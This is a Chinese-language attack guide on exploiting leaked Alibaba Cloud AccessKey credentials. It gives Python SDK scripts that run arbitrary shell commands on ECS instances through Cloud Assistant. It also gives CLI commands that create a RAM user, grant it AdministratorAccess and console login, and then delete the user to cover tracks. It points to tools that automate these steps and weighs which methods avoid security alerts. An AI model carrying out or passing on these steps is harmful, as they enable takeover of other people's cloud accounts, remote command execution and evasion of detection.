阿里云攻防
0x01 前言
该文档主要记录对于阿里云上主机的攻击手法;排除n day、web漏洞、逻辑漏洞等,可以尝试去查找是否存在泄露的Access Key与secret。
0x02 命令执行
以下利用手法均建立在获取到Access Key与secret后(获取途径自行尝试~)
手工利用
首先利用行云管家导入云主机,输入Access Key与secret
https://yun.cloudbility.com/
点击导入后的云主机,查看详情,需要关注的点在于实例ID和网络信息
获取到以上信息后在转到阿里云的api控制台
https://api.aliyun.com/cloudcontrol/ECS/LaunchTemplateVersion
搜索框处搜索command,找到云助手,需要用的是
CreateCommand:创建命令
InvokeCommand:调用命令
参数这里需要注意的是type,name可以任意填,CommandContent为命令,需要base64编码
type类型:
RunBatScript:创建一个在 Windows 实例中运行的 Bat 脚本。
RunPowerShellScript:创建一个在 Windows 实例中运行的 PowerShell 脚本。
RunShellScript:创建一个在 Linux 实例中运行的 Shell 脚本。
填写完之后,点击sdk示例,选择python(sdk版本选择1.0即可)
点击运行示例,此时会弹出Cloud shell窗口,并创建一个CreateCommand.py文件(chrome可能会显示不出来)
用vim编辑器打开CreateCommand.py,修改accessKeyId与accessSecret(同时注意修改下脚本内容)
#!/usr/bin/env python
#coding=utf-8
import os
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest
client = AcsClient('access_key','access_secret','cn-beijing')
request = CreateCommandRequest()
request.set_accept_format('json')
request.set_Name("latest")
request.set_Type("RunShellScript")
request.set_CommandContent("cmd base64编码")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
执行CreateCommand.py,会返回一个RequestId与CommandId,记录CommandId,后面调用命令会用到。
打开InvokeCommand,执行以下内容
RegionId:之前行云管家中的所属网络。
CommandId:执行CreateCommand.py返回的CommandId。
InstanceId:填写示例ID,行云管家中获取到的那个。
继续点击调试SDK示例代码,会生成一个InvokeCommand.py文件,同样用vim编辑器把accessKeyId与accessSecret修改了(记得修改下脚本)。
#!/usr/bin/env python
#coding=utf-8
import os
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.InvokeCommandRequest import InvokeCommandRequest
client = AcsClient('access_key','access_secret','cn-beijing')
request = InvokeCommandRequest()
request.set_accept_format('json')
request.set_CommandId("上一步返回的CommandId")
request.set_InstanceIds(["实例id"])
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding = 'utf-8'))
修改完成后可以执行InvokeCommand.py了
执行完成之后就可以看到命令被成功执行了(环境下的bash shell反弹无法执行,被拦截)
工具利用
该工具可自动化执行手工利用的步骤
https://github.com/mrknow001/aliyun-accesskey-Tools
0x03 控制台接管
与获取到as、ak后直接执行命令不同的路线,尝试利用新增用户等方法来登录阿里云控制台,从而接管整个阿里云资源。
手工利用
手工利用手法触发告警的概率较低,且理论上不会触发高危告警
首先参考下面链接,安装阿里云cli控制台
https://help.aliyun.com/document_detail/121510.html
安装成功后如下
这时开始进行配置,输入configure,开始配置,输入获取到的ak和as完成配置。
aliyun configure
查询账号别名
aliyun ram GetAccountAlias
创建账号
aliyun ram CreateUser --UserName test111
调用CreateLoginProfile接口给这个账号添加web控制台的权限,并加上密码
aliyun ram CreateLoginProfile --UserName test111 --Password Test1998@
列出账号,查看是否创建成功
aliyun ram ListUsers
接下来调用ListPolicies接口,列出权限策略,给刚才创建的用户加上权限
aliyun ram ListPolicies
调用AttachPolicyToUser 接口给用户加上admin权限
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName test111
做完以上操作后,利用以下链接进行登录,别名利用刚才第一步获取到的别名即可
https://signin.aliyun.com
输入密码,成功登录,接管阿里云权限
执行完所有操作后,便可以着手删除账户隐匿痕迹了
首先取消当前账户的权限
aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName test111
然后删除账户
aliyun ram DeleteUser --UserName test111
这时在查询,已经不存在该用户了,web控制台也无法登录了
aliyun ram ListUsers
工具利用
工具自动化可以使用cf,不过现在已经不公开了,且旧版本使用的话容易触发告警
https://github.com/teamssix/cf
配置阿里云ak、as
cf.exe config
配置完成后可执行其他命令,如查看当前资源
cf.exe alibaba ls
一键接管
cf.exe alibaba console
可以看到工具会造成高危告警,隐匿性不如手工
删除账户
cf.exe alibaba console cancel